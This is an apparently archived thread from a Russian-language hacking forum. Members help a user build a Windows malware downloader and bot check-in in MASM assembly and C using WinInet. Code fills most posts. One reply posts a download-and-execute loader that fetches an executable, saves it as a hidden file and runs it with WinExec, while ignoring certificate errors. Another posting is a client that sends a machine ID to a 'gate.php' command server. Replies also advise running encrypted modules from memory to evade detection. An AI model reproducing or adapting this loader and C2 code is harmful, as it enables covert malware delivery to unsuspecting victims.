• XSS.stack #1 – первый литературный журнал от юзеров форума

WinInet

Quake3

TPU unit
Забанен
Регистрация
03.11.2010
Сообщения
4 529
Решения
4
Реакции
5 305
Депозит
0.046
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите по WinInet - как получить страницу сайта после авторизации? Т.е. чтобы передались куки и все прочее. Авторизация на сайте идет так:

Код:
.486                      
.model flat, stdcall      
option casemap :none      

include \masm32\include\windows.inc
include \masm32\include\wininet.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
uselib kernel32, masm32, user32,wininet

.data
uri db "/login.php?action=in",0
login_cont db 256 dup (0)
login_shab db "form_sent=1&redirect_url=&req_username=%s&req_password=%s&login=%C2%EE%E9%F2%E8",0
login db "user1",0
pass db "111222",0
headers db 13,10,"Accept: text/html,application/xhtml+xml,application/xml",
13,10,"Accept-Language: ru-ru,ru;q=0.8,en-us",
13,10,"Accept-Charset: windows-1251",
13,10,"Keep-Alive: 115",
13,10,"Connection: keep-alive",
13,10,"Content-Type: application/x-www-form-urlencoded",0
buf db 1024 dup (0)

lpszReferer db "http://te.mybb.ru/login.php",0

.data?
hInetSes dd ?
hConnect dd ?
hReq dd ?
bReaded dd ?

.code
start:

invoke wsprintf,addr login_cont,addr login_shab,addr login,addr pass
invoke InternetOpen,chr$("Mozilla/5.0"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hInetSes,eax
invoke InternetConnect,hInetSes,chr$("te.mybb.ru"),INTERNET_DEFAULT_HTTP_PORT,\
0,0,INTERNET_SERVICE_HTTP,0,0
	.if eax==0
  Invoke MessageBox,0,LastError$(),chr$("InternetConnect fail"),0
	.endif
mov hConnect,eax

invoke HttpOpenRequest,hConnect,chr$("POST"),addr uri,0,addr lpszReferer,\
0,INTERNET_FLAG_KEEP_CONNECTION,0
	.if eax==0
  Invoke MessageBox,0,LastError$(),chr$("HttpOpenRequest fail"),0
	.endif
mov hReq,eax;handle of request
invoke HttpSendRequest,hReq,addr headers,sizeof headers,addr login_cont,sizeof login_cont
	.if eax==0
  Invoke MessageBox,0,LastError$(),chr$("HttpSendRequest fail"),0
	.endif
Invoke Sleep,3000
invoke InternetCloseHandle,hInetSes
Invoke ExitProcess,0
end start

Пробовал после Sleep писать что-то вида InternetReadFile, передавая hReq, но показывает мне лишь страницу входа (точнее, сообщение что вход успешен, сейчас вас перенаправят на главную страницу). А как мне считать другую страницу, будучи залогиненным? Нужно новый запрос через HttpOpenRequest формировать?
 
попробуй InternetGetCookie/GetUrlCacheEntryInfo + HttpAddRequestHeaders
Нужно новый запрос через HttpOpenRequest формировать?
ну в твоем случае конечно
 
Код:
13,10,"Accept: text/html,application/xhtml+xml,application/xml",
13,10,"Accept-Language: ru-ru,ru;q=0.8,en-us",
13,10,"Accept-Charset: windows-1251",
13,10,"Keep-Alive: 115",
13,10,"Connection: keep-alive"

Обычно этот "мусор" не нужен :)
 
Кукисы передаются автоматически (чтобы специально это обойти нужно указывать флаг INTERNET_FLAG_NO_COOKIES). Далее редиректы автоматически хэндлятся только серверные (не помню код, 3 какойто вроде). Если там с js редирект ессно ничего не отработает. Sleep там не нужен. Просто по новой запрашивайте новую страницу в той же сессии (HttpOpenRequest и далее с тем же hInternet хэндлом). Кукисы автоматом отошлются и вы будете авторизованы на сайте. Но сессии могут и не через кукисы передаватся к примеру, на сколько я знаю.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пишу функцию скачивания файла (для начала на WinInet пробую, ибо на сокетах сложнее). Проблема в том, что работает через раз - конкретная проблема в получение размера файла для скачивания. Иногда скачивает нормально, а иногда - 48Dh (т.е. намного меньше). Откуда берется такой размер - хз, закономерность понять не могу (иногда под отладчиком норм, а иногда и там плохо).

Код:
.386                      
.model flat, stdcall      
option casemap :none

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet

.data
uag db "Mozilla",0
furl db "http://loader.my/1.exe",0

.data?
hSess dd ?
hUrl dd ?
fsize1 dd ?;размер файла, доступного с инета
heaph dd ?;хендл хипа
lpMem dd ?;указатель на память?
bRead dd ?;байт прочитано
bWrite dd ?;байт записано
hfile dd ?

.code
main PROC
invoke InternetOpen,addr uag,INTERNET_OPEN_TYPE_PRECONFIG,0,0,0
	.if eax==0;if error - debug&exit
  invoke MessageBox,0,LastError$(),chr$("InternetOpen Error"),MB_OK
  Invoke ExitProcess,0
	.endif
mov hSess,eax

invoke InternetOpenUrl,hSess,addr furl,0,0,0,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("InternetOpenUrl Error"),MB_OK
  Invoke ExitProcess,0
	.endif
mov hUrl,eax

;пишет размер файла в fsize1,[B] вот тут и проблема[/B]
invoke InternetQueryDataAvailable,hUrl,offset fsize1,0,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("InternetQueryDataAvailable Error"),MB_OK
  Invoke ExitProcess,0;еще бы добавить проверку на присутствие файла?
	.endif
	
;сначала делал HeapCreate, но сказали, что так лучше.
invoke GetProcessHeap
	mov heaph,eax
	
invoke HeapAlloc,heaph,HEAP_ZERO_MEMORY,fsize1
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("HeapAlloc Error"),MB_OK
  Invoke ExitProcess,0
	.endif
	mov lpMem,eax
	
;хендл, указатель на память,размер сколько читать, указатель сколько прочитал
invoke InternetReadFile,hUrl,lpMem,fsize1,addr bRead

invoke CreateFile,chr$("C:\1.exe"),GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0;- сформировать имя фаела, скачать куда-то все это добро
	mov hfile,eax
invoke WriteFile,hfile,lpMem,fsize1,offset bWrite,0
invoke CloseHandle,hfile

invoke HeapFree,heaph,0,lpMem
invoke InternetCloseHandle,hUrl;close handles
invoke InternetCloseHandle,hSess

invoke ExitProcess,0
main ENDP
END main
 
насколько я помню InternetQueryDataAvailable возвращает количество байт которые в данный момент можно прочитать, но не все что доступны, в данном случае чтобы получить значение именно Content-Lenght нужно использовать HttpQueryInfo с флагом HTTP_QUERY_CONTENT_LENGTH, а чтение нужно делать также в цикле InternetQueryDataAvailable->HeapReAlloc->InternetReadFile
выдержка из msdn
A normal read retrieves the specified dwNumberOfBytesToRead for each call to InternetReadFile until the end of the file is reached. To ensure all data is retrieved, an application must continue to call the InternetReadFile function until the function returns TRUE and the lpdwNumberOfBytesRead parameter equals zero.
подытожу примером кода такого цикла для WinHTTP, для WinInet аналогично, кодес конечно не идеал, писал я его давно лишь в целях исследования:
Код:
@read_loop:
	invoke WinHttpQueryDataAvailable,hRequest,addr cbBuf
	test eax,eax
	jz @close_request
	
	invoke HeapSize,pHeap,0,result
	test eax,eax
	jz @error
	mov ecx,cbBuf
	lea ecx,[ecx+eax]
	invoke HeapReAlloc,pHeap,HEAP_ZERO_MEMORY,result,ecx
	test eax,eax
	jz @error
	sub edi,result
	add edi,eax
	mov result,eax
	
	mov ecx,cbBuf
	mov cbBuf,0
	invoke WinHttpReadData,hRequest,edi,ecx,addr cbBuf
	test eax,eax
	jz @close_request
	cmp cbBuf,0
	jz @close_request
	mov eax,result
	mov ecx,cbBuf
	add dword ptr [eax],ecx
	add edi,ecx
	jmp @read_loop
 
Специально же создал тему для того чтобы на грабли не наступали те кто прочитает
http://xss.pro/index.php?topic=22621
el-, ну мы же вроде порешили, что должен юзаться "резиновый" буфер БЕЗ всяких там InternetSetFilePointer, HttpQueryInfo, InternetQueryDataAvailable.
В MSDN же по всем этим функциям стоят предупреждения о том, что они могут возвращать неверное значение и тем более они еще дополнительно добавят код, а мы как бы исходим из того что размер должен быть как можно меньше.
Тем более как выяснилось, что функция InternetSetFilePointer возвращает -1 (0xFFFFFFFF) если установить определенные флаги у InternetOpenUrl в параметре dwFlags
Лишний раз убеждаюсь в бесполезности своих тем и постов...

Вот пример кода рипнутый из говнокода, который в аттаче запостил Left4Dead (Я вообще не понимаю, ты хоть один пост прочитал, которые тебе в той теме писали...)
Код:
.386
.model flat, stdcall
option casemap :none

include c:\masm32\include\windows.inc
include c:\masm32\include\urlmon.inc
include c:\masm32\include\kernel32.inc
include C:\masm32\include\wininet.inc

includelib c:\masm32\lib\urlmon.lib
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\wininet.lib

.data
hInternet dd ?
hConnect dd ?
hRequest dd ?
dwFlags dd ?
ByteRead dd ?
ByteWRite dd ?
Buffer db 304h dup(?)
.code
;url db "http://microsoft.com/",0
szWininet db "wininet",0
szUrl db "127.0.0.1",0
szExe db "/1.exe",0
szRund11_exe db "/1.exe",0

Main proc
invoke InternetOpen,addr szWininet,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hInternet, eax
.if eax != NULL
;   invoke InternetConnect, hInternet, $CTA0("127.0.0.1"),INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0
   invoke InternetConnect, hInternet,addr szUrl,INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0
   mov hConnect, eax
   .if eax != NULL
;      invoke HttpOpenRequest,hConnect,NULL,$CTA0("/1.exe"),NULL,NULL,NULL,INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_CACHE_WRITE or INTERNET_FLAG_NO_AUTO_REDIRECT or INTERNET_FLAG_IGNORE_CERT_DATE_INVALID or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_UI,0
      invoke HttpOpenRequest,hConnect,NULL,addr szExe,NULL,NULL,NULL,INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_CACHE_WRITE or INTERNET_FLAG_NO_AUTO_REDIRECT or INTERNET_FLAG_IGNORE_CERT_DATE_INVALID or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_UI,0
      mov hRequest, eax
      .if eax != NULL
         mov dwFlags, SECURITY_SET_MASK
         push ebx
         mov ebx, 10h
         .repeat 
            invoke InternetSetOption,hRequest,INTERNET_OPTION_SECURITY_FLAGS,addr dwFlags,sizeof dwFlags
            invoke HttpSendRequest,hRequest,0,0,0,0
            .if ebx == 0
               jmp LEXIT
            .endif
            dec ebx
         .until eax
;         invoke CreateFile,$CTA0("rund11.exe"),2h,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL
         invoke CreateFile,addr szRund11_exe,2h,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL
         mov ebx, eax
         .repeat 
            invoke InternetReadFile,hRequest,addr Buffer,300h,addr ByteRead
            .if eax == 0
               jmp LEXIT
            .endif
            invoke WriteFile,ebx,addr Buffer,ByteWRite,addr ByteWRite,NULL
         .until ByteRead 
         invoke CloseHandle,ebx
;         invoke WinExec,$CTA0("rund11.exe"),SW_SPOILER
         invoke WinExec,addr szRund11_exe,SW_SPOILER
      .endif
   .endif
.endif
LEXIT:
pop ebx
invoke ExitProcess,0
Main endp
end Main
Подшамань его немного под себя и будет тебе счастье - ИМХО
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кстати интересно, а как быть с докачкой файлов, если не юзать InternetSetFilePointer? Хотя мб в малвари это и не нужно никому, но вообще?

Попробовал переписать код на основе сорцов выше, без всяких QueryData и т.д. Работает, но не до конца, читает почему-то только первые 1024 кб. Что не так?

Код:
.386                      
.model flat, stdcall      
option casemap :none

DumpMem PROTO

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet
includelib \masm32\lib\irvine32.lib

.data
uag db "Mozilla",0
furl db "http://loader.my/1.exe",0
host db "loader.my",0
buf db 1024 dup (0)

.data?
hInternet dd ?;handle InternetOpen
hConn dd ?;inetconn handle
hRequest dd ?
hUrl dd ?;handle 
fsize1 dd ?;размер файла, доступного с инета
heaph dd ?;хендл хипа
lpMem dd ?;указатель на память?
bRead dd ?;байт прочитано
bWrite dd ?;байт записано
hfile dd ?

.code
main PROC

invoke InternetCheckConnection,chr$("http://www.kaspersky.com/"),FLAG_ICC_FORCE_CONNECTION,0
	.if eax==0;соединения нет
  invoke MessageBox,0,LastError$(),chr$("InternetCheckConnection Error"),MB_OK
  Invoke ExitProcess,0
	.endif

invoke InternetOpen,addr uag,INTERNET_OPEN_TYPE_PRECONFIG,0,0,0
	.if eax==0;если ошибка - пробуем еще раз
  invoke InternetOpen,offset uag,INTERNET_OPEN_TYPE_DIRECT,0,0,0
	.endif
mov hInternet,eax

invoke InternetConnect,hInternet,offset host,INTERNET_DEFAULT_HTTP_PORT,0,0,INTERNET_SERVICE_HTTP,0,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("InternetOpenUrl Error"),MB_OK
  Invoke ExitProcess,0
	.endif
mov hConn,eax

invoke HttpOpenRequest,hConn,0,chr$("/1.exe"),0,0,0,INTERNET_FLAG_PRAGMA_NOCACHE or INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_CACHE_WRITE or INTERNET_FLAG_NO_AUTO_REDIRECT or INTERNET_FLAG_IGNORE_CERT_DATE_INVALID or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_UI,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("HttpOpenRequest Error"),MB_OK
  Invoke ExitProcess,0
	.endif
mov hRequest,eax

invoke InternetSetOption,hRequest,INTERNET_OPTION_IGNORE_OFFLINE,0,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("InternetSetOption Error"),MB_OK
  Invoke ExitProcess,0
	.endif
invoke HttpSendRequest,hRequest,0,0,0,0
	.if eax==0
  invoke MessageBox,0,LastError$(),chr$("HttpSendRequest Error"),MB_OK
  Invoke ExitProcess,0
	.endif

invoke CreateFile,chr$("C:\1.exe"),GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
	mov hfile,eax
.repeat
	invoke InternetReadFile,hRequest,addr buf,400h,addr bRead
	invoke WriteFile,hfile,addr buf,bRead,addr bWrite,0
.until bRead!=0

invoke InternetCloseHandle,hConn
invoke InternetCloseHandle,hInternet

invoke ExitProcess,0
main ENDP
END main
Я так понимаю, что в цикле где-то ошибка, но где? Вроде все верно, сколько считал столько записал. Или надо указывать в файле SetFilePointer?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Переделал цикл на
Код:
mov esi,7	
L1:
	invoke InternetReadFile,hRequest,addr buf,400h,addr bRead
	invoke SetFilePointer,hfile, 0, 0, FILE_END 
	invoke WriteFile,hfile,addr buf,bRead,addr bWrite,0

dec esi
cmp esi,0
jne L1
Это для теста, ес-но потом mov esi,7 удалю и буду вычислять нормально. Так все работает.

Я вот все не могу понять, как работает цикл repeat..until. Цикл выполнятся пока условие истинно, или пока оно ложно?
 
Повторяет до тех пор, пока не будет соблюдено условие.

Код:
;получили размер файла
invoke InternetSetFilePointer,hRequest,0,0,2,0
mov [size],eax
;выделили память
invoke LocalAlloc,LPTR,size
mov [buf],eax
;скачали файл
invoke InternetSetFilePointer,hRequest,0,0,0,0
invoke InternetReadFile,hRequest,buf,size,addr read
invoke WriteFile,hFile,buf,size,addr read,0

Ну так точно должно скачивать файл целиком и сохранять. Или я что-то не понял?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Apocalypse
Да, все верно, скачать файл и сохранить. Но единственный момент, я уже немного запутался - можно ли юзать InternetSetFilePointer или нет? KraZz писал, что нельзя.

Rev0Lt
А в каких случаях такое бывает нужно? Разве что если качать новый лоадер-нерезидент.
 
А в каких случаях такое бывает нужно? Разве что если качать новый лоадер-нерезидент.
да к примеру юзать те же модули/плагины/какуюто длл-xyйню или еще что. гонять их в памяти и не палить на диске. вобщето правильнее так и делать. а в админке перед выдачей данных их еще накрывать какимто шифром и в памяти распаковывать. самая тру идея. и делается за 10 минут
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Rev0Lt
Но выходит, надо их каждый раз скачивать с админки? Запустился бот - и пошел качать модули. Это же нагрузка постоянно на командный центр. Или нет?
 
никто не мешает сохранить зашифрованный модуль на диск/в реестр и не дергать их каждый раз из сети. но это уже оффтоп, Quake3 почаще пользуйся отладчиком и вопросов будет меньше. все эти высокоуровневые WinInet/WinHTTP только голову тебе засерут, поставь денвера на локалхост и мучай его до посинения используя сокеты, если ты собрался всерьез заниматься малварью/лоадерами ну или просто прокачать скилл, ты должен знать как эта херня работатет на самом деле, а не как это видят мелкомягкие.
 
Quake3
да не обязательно. я рассматриваю общий случай. к примеру речь не о файлах а о хтмл-страницах или подобной шняге. дропать это на диск ниxyя не подходит, ибо зло. и вобще я за сокеты))
 
Код:
invoke CreateFile,addr szRund11_exe,2h,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL
mov ebx, eax
.repeat 
   invoke InternetReadFile,hRequest,addr Buffer,300h,addr ByteRead
   .if eax == 0
      jmp LEXIT
   .endif
   invoke WriteFile,ebx,addr Buffer,ByteWRite,addr ByteWRite,NULL
.until ByteRead 
invoke CloseHandle,ebx
Код:
invoke CreateFile,chr$("C:\1.exe"),GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov hfile,eax
.repeat
invoke InternetReadFile,hRequest,addr buf,400h,addr bRead
invoke WriteFile,hfile,addr buf,bRead,addr bWrite,0
.until bRead!=0
Сравни и познай разницу
Где проверка возвращаемого значения функцией InternetReadFile?, где закрытие хендла возвращаемого CreateFile функцией CloseHandle?, и т.д. (погугли и постарайся найти годный код, если сам не можешь написать)
Или ты думаешь, что вот так постоянно тебе будут памперсы менять...
Возьми ОТЛАДЧИК и дебаж - пытайся понять, почему ошибка и где она там.. все видно будет, не бзди там нет ничего страшного
Если с первого раза не получилось, повторяй до тех пор, пока не получицца найти из-за чего падает, короче...
waahoo пишет:
почаще пользуйся отладчиком и вопросов будет меньше. ..., поставь денвера на локалхост и мучай его до посинения ..., если ты собрался всерьез заниматься малварью/лоадерами ну или просто прокачать скилл,
+0.8
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Какая-то странная ерунда происходит - пишу запрос к гейту, вроде все работает, но выводит строку вида http://rootkits.su/newgate/1.exe.exe
Откуда он берет второе слово .ехе, не пойму. При ручном запросе (через браузер) ссылка нормальная, на локалхосте аналогично. (нужно передать id, например rootkits.su/newgate/gate.php?id=132131 )

Ошибка и на Масм, и на Си.

Код:
#include <STDIO.H>
#include <WINDOWS.H>
#include <WININET.H>
#pragma comment(lib,"wininet")
int main(void)
{

	HINTERNET hInternet;
	HINTERNET hConn;
	HINTERNET hRequest;
	DWORD VSNumber,bRead;
	
	char uribuf[64];
	char taskbuf[128];

	
	GetVolumeInformation(NULL,NULL,NULL,&VSNumber,0,0,0,0);
	wsprintf(uribuf,"/newgate/gate.php?id=%.8x",VSNumber);
	
	hInternet = InternetOpen("uag",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,NULL);
  if (!hInternet)
  {
  	hInternet = InternetOpen("uag",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,NULL);
  }

	hConn = InternetConnect(hInternet,"rootkits.su",INTERNET_DEFAULT_HTTP_PORT,0,0,INTERNET_SERVICE_HTTP,0,0);

	hRequest = HttpOpenRequest(hConn,0,uribuf,0,0,0,INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_NO_UI,0);
	
	//InternetSetOption(hRequest,INTERNET_OPTION_IGNORE_OFFLINE,0,0);
	HttpSendRequest(hRequest,0,0,0,0);
	ZeroMemory(&taskbuf,sizeof(taskbuf));

	do 
	{
  
  InternetReadFile(hRequest,taskbuf,127,&bRead);
  
	} 
	while (bRead!=0);


	
	printf(taskbuf);

	return 0;

}

Upd. вопрос решился, надо принудительно в конце ставить нуллбайт + проверять, сколько реально считала байт функция.
 
Код:
int total = 0;
do
{
    InternetReadFile(hRequest, taskbuf + total, 127 - total,&bRead);
    total += bRead; // если цикл будет выполнен больше 1 раза, в taskbuff
                            // в твоем случае будет только конец результата.
                            // потому что ты пишешь в буфер всегда с самого начала.

    if(total >= sizeof(taskbuff)) // защита от переполнения
       break;
}
while (bRead!=0);
 
Код:
DWORD dwDataSize;
BOOL bRead;
DWORD dwBytesRead; //именно дворд, а не буль как у тебя стоит, сбивая люд с толку
char tempbuff[128];

for(;;)
{

	bRead=InternetReadFile(hRequest,(LPVOID)&tempbuf,127,&dwBytesRead);
	if(!bRead)
	{
  break; //GetLastError если требуется
	}
	else
	{
  if(dwBytesRead) 
  {   
  	memcpy(taskbuf + dwDataSize,&tempbuf,dwBytesRead);
  	dwDataSize+=dwBytesRead;
  }
  else
  {
  	break; //dwBytesRead==0 all content readed
  }
	}

}

чтото в таком духе должно быть, надеюсь получится собрать у тебя :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх